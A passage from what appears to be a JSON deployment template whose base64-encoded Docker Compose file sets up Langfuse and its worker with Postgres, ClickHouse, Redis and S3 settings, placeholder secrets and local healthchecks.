WRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVU